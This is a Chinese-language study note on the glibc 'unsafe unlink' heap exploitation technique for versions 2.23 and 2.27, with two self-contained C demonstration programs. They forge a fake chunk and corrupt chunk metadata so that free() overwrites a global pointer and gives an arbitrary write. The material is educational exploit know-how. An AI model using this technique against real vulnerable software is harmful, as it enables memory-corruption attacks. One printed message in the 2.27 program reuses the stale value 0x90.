Unsafe unlink
glibc-2.23
Unsafe unlink是众多how to heap example中比较难以理解的一个。因为它涉及到对C语言的左值和右值对理解和区分。以及C语言如何对待变量的地址和变量的值。
当变量为左值的时候,C语言会引用变量的地址。因为需要为变量赋值,我们就需要知道变量的地址。而当变量为右值当时候,C语言会引用变量的值,因为右值变量自身并不会改变。所以:左值变量引用地址而不引用值,右值变量引用值而不引用地址。
左值和右值的结论同样适用于数组或结构成员。并且我们需要知道,引用和解引用是一个相对的概念,但是它只会对于变量成立。
回到正题,说说Unlink被调用的 时候会进行的骚操作:
p->fd->bk=p->bk //(1)
p->bk->fd=p->fd //(2)
并且会进行如下检查(需要通过检查的条件,还有一个融合检查参见2.27的笔记):
p->fd->bk==p && p->bk->fd==p
下面我们来说说具体操作。为了实现unsafe unlink,我们一般需要一个已经知道地址的chunk的指针(这里的意思是:这个指针的地址是已经知道的),一般是未开PIE时的全局变量,假设这个全局指针变量为p。然后,我们会在这个指针所指向的空间(除去堆块开头的prev_size和size字段)伪造一个chunk。一般我们会让这个伪造的chunk的fd和bk阈指向p所在的地址的低地址处的位置以绕过检查。
p[2] = (uint64_t) &p - (sizeof(uint64_t)*3);
p[3] = (uint64_t) &p - (sizeof(uint64_t)*2);
在我们不能操纵代码的时候,&p需要为已知值,正如我们前面提到的那样,以通过检查。
更加重要的是通过检查之后的操作,由于此时的p->fd->bk和p->bk->fd实际上引用的是相同的全局变量p。因此实际上等价于只是执行(2)。也就是最终等价为:
p = (uint64_t) &p - (sizeof(uint64_t)*3);
以上的表达式就是在整一个unlink之后实际会导致的结果。
导致的结果就是((uint64_t *))p[3]就是p变量自己。因为我们能够修改p所指向的内容,所以我们能够修改p自身所指向的内容,从而实现一次任意地址写。
我们暂时不讨论如何引发unsafe unlink。在这里我们需要注意我们只能引发一次任意地址写。如果需要反复引发任意地址写,我们可能需要一个全局缓冲区,在全局缓冲区中溢出将p的值改回去。
最后我们来考虑如何触发unsafe unlink p。显然这个问题的本质是伪造p中的chunk的时机。在下面的例子中,我们是利用堆溢出漏洞修改p所指向的chunk的下一块相邻的物理chunk的prev_size和size位来触发在free(nextchunk(p))时的与伪造的chunk的堆融合。堆融合前会先unlink p(这里是指伪造的chunk)。
UAF也可以造成相关问题,在free p之后再伪造chunk。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\\n\\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\\n\\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n");
printf("You can find the source of the unlink macro at <https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\\n\\n>");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n");
printf("Original value: %s\\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
glibc-2.27
我们需要知道:unlink的操作对于不同版本的glibc的tcachebin/fastbin/unsortedbin/smallbin/ largebin都是有不同的检查和操作。所以我们可能需要经常回顾笔记,并且具体情况具体分析。因此我觉得把笔记以PDF的形式备份到google drive上。
对于unsafe unlink中的unlink是针对unsortedbin的。回顾一下,在unlink unsortedbin的时候需要进行的检查和操作:
p->fd->bk=p->bk //(1)
p->bk->fd=p->fd //(2)
并且会进行如下检查(需要通过检查的条件):
p->fd->bk==p && p->bk->fd==p
还记得我们之前讲过:当将要free进unsortedbin的chunk尝试向前融合的时候,unlink前面的free chunk的时候不会检查那个chunk的size域是否与当前的chunk的prev size域相等。而只是检查当前的chunk的prev size域并根据其大小来决定前面的chunk的位置并修正前面的chunk的size域。但是必须要有与那个size对应的prev size在对应的位置上。如果此时那个size为0x00,那么对应的那个chunk的第一个8字节空间代表的值也必须为0。
回归正题,我们需要有一个已经知道地址的指针(记得,是堆块指针所在的地址已知)。对于(1)和(2)我们只需要关心(2)即可。因为我们在那个已知地址的堆块指针所指向的空间中伪造堆块的fd和bk会使得p->fd->bk和p->bk->fd指向同一个地方。就是p所在的地方。
当然在这里我们仍然要十分理解左值和右值。
和2.23的差别不大,关心是绕开tcachebin:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\\n");
printf("Tested in Ubuntu 18.04.4 64bit.\\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\\n\\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\\n\\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n");
printf("You can find the source of the unlink macro at <https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\\n\\n>");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n");
printf("Original value: %s\\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}